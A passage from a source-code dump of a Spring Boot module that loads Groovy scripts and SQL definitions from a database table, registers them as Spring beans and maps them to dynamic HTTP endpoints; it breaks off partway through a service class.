    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/groovy/GroovyDynamicLoader.java",
    "content": "package io.github.wujun728.groovy.groovy;\n\nimport cn.hutool.core.lang.Console;\n//import com.jfinal.plugin.activerecord.ActiveRecordException;\n//import io.github.wujun728.db.record.Db;\n//import io.github.wujun728.db.record.kit.DbKit;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.groovy.cache.IApiConfigCache;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport io.github.wujun728.groovy.service.GroovyApiService;\nimport io.github.wujun728.groovy.cache.ApiConfigCache;\nimport io.github.wujun728.groovy.mapping.http.RequestMappingService;\n//import com.jfinal.plugin.activerecord.ActiveRecordException;\nimport groovy.lang.GroovyClassLoader;\nimport lombok.extern.slf4j.Slf4j;\nimport org.codehaus.groovy.control.CompilationFailedException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.BeansException;\nimport org.springframework.beans.factory.BeanDefinitionStoreException;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.beans.factory.config.BeanDefinition;\nimport org.springframework.beans.factory.support.BeanDefinitionBuilder;\nimport org.springframework.beans.factory.support.BeanDefinitionRegistry;\nimport org.springframework.beans.factory.support.DefaultListableBeanFactory;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport javax.annotation.Resource;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n//import static io.github.wujun728.db.DataSourcePool.main;\n\n\n@Slf4j\n@Configuration\n@Service\npublic class GroovyDynamicLoader implements ApplicationContextAware, InitializingBean {\n\n\tprivate static final Logger logger = LoggerFactory.getLogger(GroovyDynamicLoader.class);\n\n\tprivate Map<String,Class> classMap = new HashMap<>();\n\n\tprivate ConfigurableApplicationContext applicationContext;\n\n\tprivate BeanDefinitionRegistry registry;\n\n\tprivate static final GroovyClassLoader groovyClassLoader = new GroovyClassLoader(\n\t\t\tGroovyDynamicLoader.class.getClassLoader());\n\n\t@Resource\n\tprivate GroovyApiService groovyApiService;\n\n\t@Resource\n\tprivate IApiConfigCache apiInfoCache;\n\n\t@Resource\n\tprivate RequestMappingService requestMappingService;\n\n\tpublic static final String main = \"main\";\n\n\t@Override\n\tpublic void afterPropertiesSet() throws Exception {\n\t\t/*long start = System.currentTimeMillis();\n\t\tSystem.out.println(\"开始解析groovy脚本...\");\n\t\tinitNew();\n\t\tlong cost = System.currentTimeMillis() - start;\n\t\tSystem.out.println(\"结束解析groovy脚本...，耗时：\" + cost);*/\n\t}\n\n\tpublic void initNew() {\n        long start = System.currentTimeMillis();\n        System.out.println(\"开始解析groovy脚本...\");\n\t\ttry {\n\t\t\tgroovyApiService.init();\n\n\t\t\tList<ApiConfig> groovyScripts = groovyApiService.queryApiConfigList();\n\n\t\t\tapiInfoCache.putAll(groovyScripts);\n\n\n\t\t\tinitNew(groovyScripts);\n\n\t\t\trefreshMapping(groovyScripts);\n\t\t} catch (IllegalArgumentException e) {\n\t\t\t//e.printStackTrace();\n\t\t\tConsole.log(\"数据源配置有误：\"+e.getMessage());\n\t\t\tif(e.getMessage().contains(\"Config not found by configName\")) {\n\t\t\t\tConsole.error(\"数据源配置有误：\"+e.getMessage());\n\t\t\t}\n//\t\t} catch (ActiveRecordException e) {\n//\t\t\t//e.printStackTrace();\n//\t\t\tif(e.getMessage().contains(\"doesn't exist\")) {\n//\t\t\t\tConsole.error(\"api_config表或关联表结构在数据库不存在，配置有误：\"+e.getMessage());\n//\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n        long cost = System.currentTimeMillis() - start;\n        System.out.println(\"结束解析groovy脚本...，耗时：\" + cost);\n\t}\n\n\tprivate void initNew(List<ApiConfig> groovyInfos) {\n\t\tif (CollectionUtils.isEmpty(groovyInfos)) {\n\t\t\treturn;\n\t\t}\n\t\tfor (ApiConfig groovyInfo : groovyInfos) {\n\t\t\tBoolean isSucess = true;\n\t\t\ttry {\n\t\t\t\tif(groovyInfo.getScriptType().equalsIgnoreCase(\"Class\")){\n\t\t\t\t\tClass clazz = groovyClassLoader.parseClass(groovyInfo.getScriptContent());\n\t\t\t\t\tString clazzname = clazz.getName();\n\t\t\t\t\tStaticLog.info(\"clazzName = \"+ clazzname);\n\t\t\t\t\tregisterBean(clazzname+groovyInfo.getId(), clazz);\n//\t\t\t\t\tregisterBean(groovyInfo.getPath()+groovyInfo.getBeanName(), clazz);\n\t\t\t\t}else if(groovyInfo.getScriptType().equalsIgnoreCase(\"SQL\")){\n\t\t\t\t\tlog.info(\"当前Groovy脚本类型SQL类型脚本1：className-{},path-{},beanName-{},BeanType-{}：\",groovyInfo.getBeanName(),groovyInfo.getPath(),groovyInfo.getBeanName(),groovyInfo.getScriptType());\n\t\t\t\t}else {\n\t\t\t\t\tlog.error(\"当前Groovy脚本类型不支持1：className-{},path-{},beanName-{},BeanType-{}：\",groovyInfo.getBeanName(),groovyInfo.getPath(),groovyInfo.getBeanName(),groovyInfo.getScriptType());\n\t\t\t\t}\n\t\t\t} catch (BeanDefinitionStoreException e) {\n\t\t\t\tisSucess = false;\n\t\t\t\tStaticLog.error(e.getMessage());//e.printStackTrace();\n\t\t\t} catch (CompilationFailedException e) {\n\t\t\t\tisSucess = false;\n\t\t\t\tStaticLog.error(e.getMessage());//e.printStackTrace();\n\t\t\t}catch (Exception e) {\n\t\t\t\tisSucess = false;\n\t\t\t\tStaticLog.error(e.getMessage());//e.printStackTrace();\n\t\t\t}\n\t\t\tif(!isSucess){\n\t\t\t\tlog.info(\"当前groovyInfo加载成功1,className-{},path-{},beanName-{},BeanType-{}：\",groovyInfo.getBeanName(),groovyInfo.getPath(),groovyInfo.getBeanName(),groovyInfo.getScriptType());\n\t\t\t}\n\t\t}\n\t\tApiConfigCache.put2map(groovyInfos);\n\t}\n\n\tpublic void registerBean(String beanName, Class clazz) {\n\t\tthis.registry = (BeanDefinitionRegistry) applicationContext.getAutowireCapableBeanFactory();\n\t\tBeanDefinitionBuilder builder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\n\t\tBeanDefinition beanDefinition = builder.getBeanDefinition();\n\t\tregistry.registerBeanDefinition(beanName, beanDefinition);\n\t}\n\n\n\tpublic void refreshNew() {\n\n\t\tList<ApiConfig> groovyInfos = groovyApiService.queryApiConfigList();\n\n\t\tapiInfoCache.putAll(groovyInfos);\n\n\t\tif (CollectionUtils.isEmpty(groovyInfos)) {\n\t\t\treturn;\n\t\t}\n\n\t\tdestroyBeanDefinition(groovyInfos);\n\n\t\t//destroyScriptBeanFactory();\n\t\tinitNew(groovyInfos);\n\n\t\tApiConfigCache.put2map(groovyInfos);\n\n\t\trefreshMapping(groovyInfos);\n\t}\n\n\tprivate void destroyBeanDefinition(List<ApiConfig> groovyInfos) {\n\t\tDefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) applicationContext\n\t\t\t\t.getAutowireCapableBeanFactory();\n\t\tfor (ApiConfig groovyInfo : groovyInfos) {\n\t\t\ttry {\n\t\t\t\tbeanFactory.removeBeanDefinition(groovyInfo.getBeanName());\n\t\t\t} catch (Exception e) {\n\t\t\t\tSystem.out\n\t\t\t\t\t\t.println(\"【Groovy】 delete groovy bean definition exception. skip:\" + groovyInfo.getBeanName());\n\t\t\t}\n\t\t}\n\t}\n\n//\tprivate void destroyScriptBeanFactory() {\n//\t\tString[] postProcessorNames = applicationContext.getBeanFactory()\n//\t\t\t\t.getBeanNamesForType(CustomScriptFactoryPostProcessor.class, true, false);\n//\t\tfor (String postProcessorName : postProcessorNames) {\n//\t\t\tCustomScriptFactoryPostProcessor processor = (CustomScriptFactoryPostProcessor) applicationContext\n//\t\t\t\t\t.getBean(postProcessorName);\n//\t\t\tprocessor.destroy();\n//\t\t}\n//\t}\n\n\t/**\n\t * 重建单一请求的注册与缓存\n\t */\n\tpublic void refreshMapping(List<ApiConfig> groovyScripts) {\n\t\ttry {\n\t\t\tfor (ApiConfig apiInfo : groovyScripts) {\n\t\t\t\t// 取消历史注册\n\t\t\t\tif (apiInfo != null) {\n\t\t\t\t\trequestMappingService.unregisterMappingForApiConfig(apiInfo);\n\t\t\t\t\tapiInfoCache.remove(apiInfo);\n\t\t\t\t}\n\n\t\t\t\t// 重新注册mapping\n\t\t\t\tif (apiInfo != null) {\n\t\t\t\t\trequestMappingService.registerMappingForApiConfig(apiInfo);\n\t\t\t\t\tapiInfoCache.put(apiInfo);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (NoSuchMethodException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@Override\n\tpublic void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n\t\tthis.applicationContext = (ConfigurableApplicationContext) applicationContext;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/interfaces/IRun.java",
    "content": "package io.github.wujun728.groovy.interfaces;\n\nimport java.util.Map;\n\npublic interface IRun<T, P extends Map> {\n\t\n\t/**\n\t * 执行接口\n\t * \n\t * @return\n\t * @throws Exception \n\t */\n\tpublic T run(P params) throws Exception;\n\n\t/**\n\t * 回滚接口，业务补偿\n\t * \n\t * @return\n\t */\n//\tpublic T rollback(P params);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/mapping/http/IMappingExecutor.java",
    "content": "package io.github.wujun728.groovy.mapping.http;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic interface IMappingExecutor {\n\t\n\tpublic void execute(HttpServletRequest request, HttpServletResponse response) throws Throwable;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/mapping/http/RequestMappingExecutor.java",
    "content": "package io.github.wujun728.groovy.mapping.http;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CompletableFuture;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.stream.Collectors;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport cn.hutool.core.util.CharsetUtil;\nimport com.alibaba.fastjson2.JSON;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.groovy.service.GroovyApiService;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.groovy.interfaces.IRun;\nimport io.github.wujun728.rest.service.RestSqlService;\nimport io.github.wujun728.rest.util.HttpRequestUtil;\nimport io.github.wujun728.groovy.cache.ApiConfigCache;\nimport io.github.wujun728.groovy.cache.IApiConfigCache;\nimport io.github.wujun728.common.exception.BusinessException;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.NoSuchBeanDefinitionException;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.web.ServerProperties;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationListener;\nimport org.springframework.context.event.ContextRefreshedEvent;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.alibaba.fastjson2.JSONArray;\nimport com.alibaba.fastjson2.JSONObject;\n\nimport cn.hutool.extra.spring.SpringUtil;\nimport lombok.SneakyThrows;\nimport lombok.extern.slf4j.Slf4j;\n\n@Slf4j\n@Component\npublic class RequestMappingExecutor implements IMappingExecutor,ApplicationListener<ContextRefreshedEvent> {\n\n\t@Autowired\n\tprivate GroovyApiService groovyApiService;\n\n\t@Autowired\n\tprivate IApiConfigCache apiInfoCache;\n\n\t@Autowired\n\tprivate ServerProperties serverProperties;\n\n\tpublic void init(Boolean isStart) throws Exception {\n\n\t}\n\n\tprivate String getIpAndAdress() {\n\t\tString content = serverProperties.getServlet().getContextPath() == null ? \"\"\n\t\t\t\t: serverProperties.getServlet().getContextPath();\n\t\tInteger port = serverProperties.getPort() == null ? 8080 : serverProperties.getPort();\n\t\tString context = SpringUtil.getProperty(\"project.groovy-api.context\");\n\t\treturn \"http://localhost:\" + port + (\"/\" + content + context).replace(\"//\", \"/\");\n\t}\n\n\t/**\n\t * 执行脚本逻辑\n\t */\n\t@RequestMapping\n\t@ResponseBody\n\t@Override\n\tpublic void execute(HttpServletRequest request, HttpServletResponse response) throws Throwable {\n\t\tClass<? extends RequestMappingExecutor> cls = this.getClass();\n\t\t// 使用方法\n\t\ttry {\n\t\t\t// 获取方法 Method 对象\n\t\t\tMethod method = cls.getDeclaredMethod(\"process\", HttpServletRequest.class, HttpServletResponse.class);\n\t\t\t// 执行方法\n\t\t\tmethod.invoke(this, request, response);\n\t\t} catch (NoSuchMethodException e) {\n\t\t\tlog.warn(\"当前子类未实现自定义方法[process]，走默认Bean定义的逻辑[无自定义执行逻辑]\");\n\t\t\tIMappingExecutor executor = null;\n\t\t\ttry {\n\t\t\t\texecutor = SpringUtil.getBean(\"HttpMappingExecutor\");\n\t\t\t\texecutor.execute(request, response);\n\t\t\t} catch (NoSuchBeanDefinitionException ex ) {\n\t\t\t\t//log.warn(\"找不到默认执行Bean[HttpMappingExecutor],No bean named 'HttpMappingExecutor' available，走系统默认执行逻辑[无自定义执行逻辑]\");\n\t\t\t\t//throw new RuntimeException(ex);\n\t\t\t} catch (RuntimeException  ex ) {\n\t\t\t\tlog.warn(ex.getMessage());\n\t\t\t\t//throw new RuntimeException(ex);\n\t\t\t} catch (Exception  ex ) {\n\t\t\t\tlog.warn(ex.getMessage());\n\t\t\t\t//throw new RuntimeException(ex);\n\t\t\t}\n//\t\t\tSet<Class<?>> clazzs = ClassUtil.scanPackageBySuper(\"io.github.wujun728\", RequestMappingExecutor.class);\n//\t\t\tfor(Class clazz: clazzs) {\n//\t\t\t\tReflectUtil.invoke(clazzs, null, null)\n//\t\t\t}\n\t\t\tlog.info(\"执行默认方法的逻辑[无自定义执行逻辑]\");\n\t\t\tdefaultMetod(request, response);\n\t\t\t// 找不到当前子类实现的方法[process]，走默认方法的逻辑\n\t\t\t//e.printStackTrace();\n\t\t} catch (InvocationTargetException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IllegalAccessException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@SneakyThrows\n\t@Override\n\tpublic void onApplicationEvent(ContextRefreshedEvent contextRefreshedEvent) {\n\t\tApplicationContext parent = contextRefreshedEvent.getApplicationContext().getParent();\n\t\tif (parent == null) {\n\t\t\tinit(true);\n\t\t}\n\t}\n\n    public static Map<String, Object> getSqlParam(HttpServletRequest request, ApiConfig config) {\n        Map<String, Object> map = new HashMap<>();\n\n        JSONArray requestParams = JSON.parseArray(config.getParams());\n        for (int i = 0; i < requestParams.size(); i++) {\n            JSONObject jo = requestParams.getJSONObject(i);\n            String name = jo.getString(\"name\");\n            String type = jo.getString(\"type\");\n\n            //数组类型参数\n            if (type.startsWith(\"Array\")) {\n                String[] values = request.getParameterValues(name);\n                if (values != null) {\n                    List<String> list = Arrays.asList(values);\n                    if (values.length > 0) {\n                        switch (type) {\n                            case \"Array<double>\":\n                                List<Double> collect = list.stream().map(value -> Double.valueOf(value)).collect(Collectors.toList());\n                                map.put(name, collect);\n                                break;\n                            case \"Array<bigint>\":\n                                List<Long> longs = list.stream().map(value -> Long.valueOf(value)).collect(Collectors.toList());\n                                map.put(name, longs);\n                                break;\n                            case \"Array<string>\":\n                            case \"Array<date>\":\n                                map.put(name, list);\n                                break;\n                        }\n                    } else {\n                        map.put(name, list);\n                    }\n                } else {\n                    map.put(name, null);\n                }\n            } else {\n\n                String value = request.getParameter(name);\n                if (StringUtils.isNotBlank(value)) {\n\n                    switch (type) {\n                        case \"double\":\n                            Double v = Double.valueOf(value);\n                            map.put(name, v);\n                            break;\n                        case \"bigint\":\n                            Long longV = Long.valueOf(value);\n                            map.put(name, longV);\n                            break;\n                        case \"string\":\n                        case \"date\":\n                            map.put(name, value);\n                            break;\n                    }\n                } else {\n                    map.put(name, value);\n                }\n            }\n        }\n        return map;\n    }\n\n\n\t//*****************************************************************************************************************\n\t//*****************************************************************************************************************\n\t//*****************************************************************************************************************\n\n\n\t@Resource\n\tRestSqlService restSqlService;\n\t/**\n\t * 执行脚本逻辑\n\t */\n\tpublic void defaultMetod(HttpServletRequest request, HttpServletResponse response) throws Throwable {\n\t\tlog.info(\"servlet execute\");\n\n//\t\tthis.request = request;\n//\t\tthis.response = response;\n\t\tlog.info(\"HttpMappingExecutor execute  begin \");\n//\t\tR r = null ;\n\t\tObject data = null;\n\t\tString servletPath = request.getRequestURI();\n\t\tPrintWriter out = null;\n\t\ttry {\n\t\t\t//  执行SQL逻辑  *****************************************************************************************************\n\t\t\t// 校验接口是否存在\n\t\t\tApiConfig config = apiInfoCache.get(servletPath);\n\t\t\tif (config == null) {\n\t\t\t\tresponse.setStatus(HttpServletResponse.SC_NOT_FOUND);\n\t\t\t\tresponse.setContentType(request.getContentType());\n\t\t\t\tresponse.setCharacterEncoding(CharsetUtil.UTF_8);\n\t\t\t\tout = response.getWriter();\n\t\t\t\tout.append(JSON.toJSONString(Result.fail(\"Api not exists\")));\n\t\t\t}\n\t\t\tswitch (config.getScriptType()) {\n\t\t\t\tcase \"SQL\":\n\t\t\t\t\tApiSql apiSql = new ApiSql();\n\t\t\t\t\tapiSql.setPath(config.getPath());\n\t\t\t\t\tapiSql.setText(config.getScriptContent());\n\t\t\t\t\tMap<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n\t\t\t\t\tdata = restSqlService.doSQLProcess(apiSql, parameters);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Class\":\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Groovy\":\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Jython\": // TODO\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\t\tbreak; // TODO\n\t\t\t\tcase \"JavaScript\": // TODO\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\tcase \"Jruby\":// TODO\n\t\t\t\t\tdata = doGroovyProcess(config, request, response);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tresponse.setContentType(request.getContentType());\n\t\t\tresponse.setCharacterEncoding(CharsetUtil.UTF_8);\n\t\t\tout = response.getWriter();\n\t\t\tout.append(JSON.toJSONString(data));\n\t\t} catch (Exception e) {\n\t\t\tresponse.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);\n\t\t\tresponse.setContentType(request.getContentType());\n\t\t\tresponse.setCharacterEncoding(CharsetUtil.UTF_8);\n\t\t\tout = response.getWriter();\n\t\t\tout.append(JSON.toJSONString(Result.fail(e.toString())));\n\t\t\tlog.error(e.toString(), e);\n\t\t} finally {\n\t\t\tif (out != null)\n\t\t\t\tout.close();\n\t\t}\n\t\tlog.info(\"HttpMappingExecutor execute  end \");\n\t}\n\n\n\tpublic static void timeOut(String[] args) {\n\t\t// 定义超时时间为3秒\n\t\tlong timeout = 3000;\n\n\t\t// 创建一个新的CompletableFuture\n\t\tCompletableFuture<Object> future = CompletableFuture.supplyAsync(() -> {\n\t\t\t// 这里是要执行的方法\n\t\t\t//return longRunningMethod();\n\t\t\treturn new Object();\n\t\t});\n\t\t// 获取执行结果\n\t\ttry {\n\t\t\tObject result = future.get(timeout, TimeUnit.MILLISECONDS);\n\t\t\tSystem.out.println(\"方法执行完毕，结果：\" + result.toString());\n\t\t} catch (InterruptedException e) {\n\t\t\tSystem.out.println(\"出现异常，结束该方法的执行\");\n\t\t\tfuture.cancel(true);\n\t\t} catch (ExecutionException e) {\n\t\t\tSystem.out.println(\"出现异常，结束该方法的执行\");\n\t\t\tfuture.cancel(true);\n\t\t} catch (TimeoutException e) {\n\t\t\t// 超时了，结束该方法的执行\n\t\t\tSystem.out.println(\"超时了，结束该方法的执行\");\n\t\t\tfuture.cancel(true);\n\t\t}\n\t}\n\n\n\tpublic Object doGroovyProcess(ApiConfig config, HttpServletRequest request, HttpServletResponse response) throws Exception {\n\t\tString beanName = ApiConfigCache.getByPath(config.getPath());\n\t\tMap<String, Object> params =HttpRequestUtil.getAllParameters(request);\n\t\tObject beanObj = SpringUtil.getBean(beanName);\n\t\ttry {\n\t\t\tif(beanObj instanceof IRun){\n\t\t\t\tIRun bean = (IRun) beanObj;\n\t\t\t\treturn bean.run(params);\n\t\t\t}/*else if(beanObj instanceof AbstractExecutor){\n\t\t\t\tAbstractExecutor bean = (AbstractExecutor) beanObj;\n\t\t\t\tbean.init(request,response);\n\t\t\t\treturn bean.execute(params);\n\t\t\t}*/\n\t\t} catch (BusinessException e) {\n\t\t\treturn Result.fail(e.getMessage());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n//\t\t\tif(beanObj instanceof  IExecutor){\n//\t\t\t\tIExecutor bean = (IExecutor) beanObj;\n//\t\t\t\tbean.rollback(params);\n//\t\t\t}else if(beanObj instanceof  AbstractExecutor){\n//\t\t\t\tAbstractExecutor bean = (AbstractExecutor) beanObj;\n//\t\t\t\tbean.init(request,response);\n//\t\t\t\tbean.rollback(params);\n//\t\t\t}\n\t\t\tthrow e;\n\t\t}\n\t\treturn \"ERROR：执行错误，请检查执行日志并捕获并处理异常！\";\n\t}\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/mapping/http/RequestMappingService.java",
    "content": "package io.github.wujun728.groovy.mapping.http;\n\nimport cn.hutool.extra.spring.SpringUtil;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport io.github.wujun728.groovy.util.MappingRegisterUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.mvc.method.RequestMappingInfo;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n@Service\n@Slf4j\npublic class RequestMappingService implements InitializingBean {\n\n\t@Autowired\n\tprivate RequestMappingHandlerMapping requestMappingHandlerMapping;\n\n\t/**\n\t * 获取已注册的API地址\n\t */\n\tpublic List<ApiConfig> getPathListForCode() {\n\n\t\tMap<RequestMappingInfo, HandlerMethod> map = requestMappingHandlerMapping.getHandlerMethods();\n\t\tList<ApiConfig> result = new ArrayList<>(map.size());\n\t\tfor (RequestMappingInfo info : map.keySet()) {\n\n\t\t\tif (map.get(info).getMethod().getDeclaringClass() == RequestMappingExecutor.class) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tString groupName = map.get(info).getBeanType().getSimpleName();\n\t\t\tString context = SpringUtil.getProperty(\"project.groovy-api.context\");\n\t\t\tString servicename = SpringUtil.getProperty(\"project.groovy-api.servicename\");\n\t\t\tfor (String path : MappingRegisterUtil.getPatterns(info)) {\n\t\t\t\t// 过滤本身的类\n\t\t\t\tif (path.indexOf(context) == 0 || path.equals(\"/error\")) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tSet<RequestMethod> methods = info.getMethodsCondition().getMethods();\n\t\t\t\tif (methods.isEmpty()) {\n\t\t\t\t\tApiConfig apiInfo = new ApiConfig();\n\t\t\t\t\tapiInfo.setPath(path);\n\t\t\t\t\tapiInfo.setMethod(\"All\");\n\t\t\t\t\tapiInfo.setScriptType(\"Code\");\n\t\t\t\t\tapiInfo.setBeanName(servicename);\n\t\t\t\t\tapiInfo.setCreator(\"admin\");\n\t\t\t\t\tapiInfo.setDatasourceId(\"\");\n\t\t\t\t\tapiInfo.setScriptContent(\"\");\n\t\t\t\t\tapiInfo.setPath(path);\n\t\t\t\t\tresult.add(apiInfo);\n\t\t\t\t} else {\n\t\t\t\t\tfor (RequestMethod method : methods) {\n\t\t\t\t\t\tApiConfig apiInfo = new ApiConfig();\n\t\t\t\t\t\tapiInfo.setPath(path);\n\t\t\t\t\t\tapiInfo.setMethod(method.name());\n\t\t\t\t\t\tapiInfo.setScriptType(\"Code\");\n\t\t\t\t\t\tapiInfo.setBeanName(servicename);\n\t\t\t\t\t\tapiInfo.setCreator(\"admin\");\n\t\t\t\t\t\tapiInfo.setDatasourceId(\"\");\n\t\t\t\t\t\tapiInfo.setScriptContent(\"\");\n\t\t\t\t\t\tapiInfo.setPath(path);\n\t\t\t\t\t\tresult.add(apiInfo);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t}\n\t\n\n\n\t/**\n\t * 注册mapping\n\t *\n\t * @param apiInfo\n\t */\n\tpublic synchronized void registerMappingForApiConfig(ApiConfig apiInfo) throws NoSuchMethodException {\n\t\t MappingRegisterUtil.registerMapping(apiInfo.getMethod(), apiInfo.getPath(), apiInfo.getScriptType());\n\t}\n\n\n\t/**\n\t * 取消注册mapping\n\t *\n\t * @param apiInfo\n\t */\n\tpublic synchronized void unregisterMappingForApiConfig(ApiConfig apiInfo) {\n\t\tMappingRegisterUtil.unregisterMapping(apiInfo.getMethod(), apiInfo.getPath(), apiInfo.getScriptType());\n\t}\n\n\n\t/**\n\t * 判断是否是原始代码注册的mapping\n\t * \n\t * @param method\n\t * @param pattern\n\t */\n\tpublic Boolean isCodeMapping(String pattern, String method) {\n\t\tMap<RequestMappingInfo, HandlerMethod> map = requestMappingHandlerMapping.getHandlerMethods();\n\t\tfor (RequestMappingInfo info : map.keySet()) {\n\t\t\tif (map.get(info).getMethod().getDeclaringClass() == RequestMappingExecutor.class) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tSet<String> patterns = MappingRegisterUtil.getPatterns(info);\n\t\t\tSet<RequestMethod> methods = info.getMethodsCondition().getMethods();\n\t\t\tif (patterns.contains(pattern) && (methods.isEmpty() || methods.contains(RequestMethod.valueOf(method)))) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic void afterPropertiesSet() throws Exception {\n\t\tlog.info(\" RequestMappingService is init .... \");\n\t}\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/service/GroovyApiService.java",
    "content": "package io.github.wujun728.groovy.service;\n\nimport cn.hutool.core.lang.Console;\nimport cn.hutool.extra.spring.SpringUtil;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.fastjson2.JSON;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport com.google.common.collect.Lists;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.CollectionUtils; \nimport javax.annotation.PostConstruct;\nimport javax.sql.DataSource;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n@Component\n@Slf4j\npublic class GroovyApiService {\n\n\t//@PostConstruct\n\tpublic void init(){\n        StaticLog.info(\"GroovyApiService is staring ... \");\n\t}\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<ApiConfig> queryApiConfigList() {\n\t\tList<Record> lists = Db.use(\"main\").find(\"select * from \"+\"api_config\"+\" where status = 'ENABLE' \");\n\t\t// List<Map<String, Object>> lists = jdbcTemplate.queryForList(\"select * from  \"+tablename+\"  where status = 'ENABLE' \");\n\t\tList<ApiConfig> datas = RecordUtil.recordToBeans(lists,ApiConfig.class);\n\t\tif(!CollectionUtils.isEmpty(datas)) {\n\t\t\tbuildApiConifgSubApiSql(datas);\n\t\t}\n\t\tif(Boolean.TRUE.equals(Boolean.valueOf(SpringUtil.getProperty(\"project.runApi.enable\")))){\n\t\t\t//log.info(JSON.toJSONString(datas));\n\t\t\tqueryCountSql();\n\t\t\tqueryDatasourceList();\n\t\t\tquerySQLList(\"0\");\n\t\t\tgetDatasource(\"0\");\n\t\t}\n\t\treturn datas;\n\t}\n\n\n\tpublic Integer queryCountSql() {\n\t\t//Long aLong = jdbcTemplate.queryForObject(\"select count(*) from test \", Long.class);\n\t\tInteger count = Db.use(\"main\").queryInt(\"select count(*) from  \"+\"api_config\"+\"  \");\n\t\treturn count;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<ApiDataSource> queryDatasourceList() {\n\t\tPage<Record> lists = Db.use(\"main\").paginate(1,2,\"select * \",\" from  \"+\"api_datasource\"+\"  where id <> ? \");\n\t\t//Console.log(JSON.toJSONString(lists));\n\t\tConsole.log(JSON.toJSONString(RecordUtil.pageRecordToPageMap(lists,false)));\n\n\t\tString from = \"from  \"+\"api_datasource\"+\"  where id > 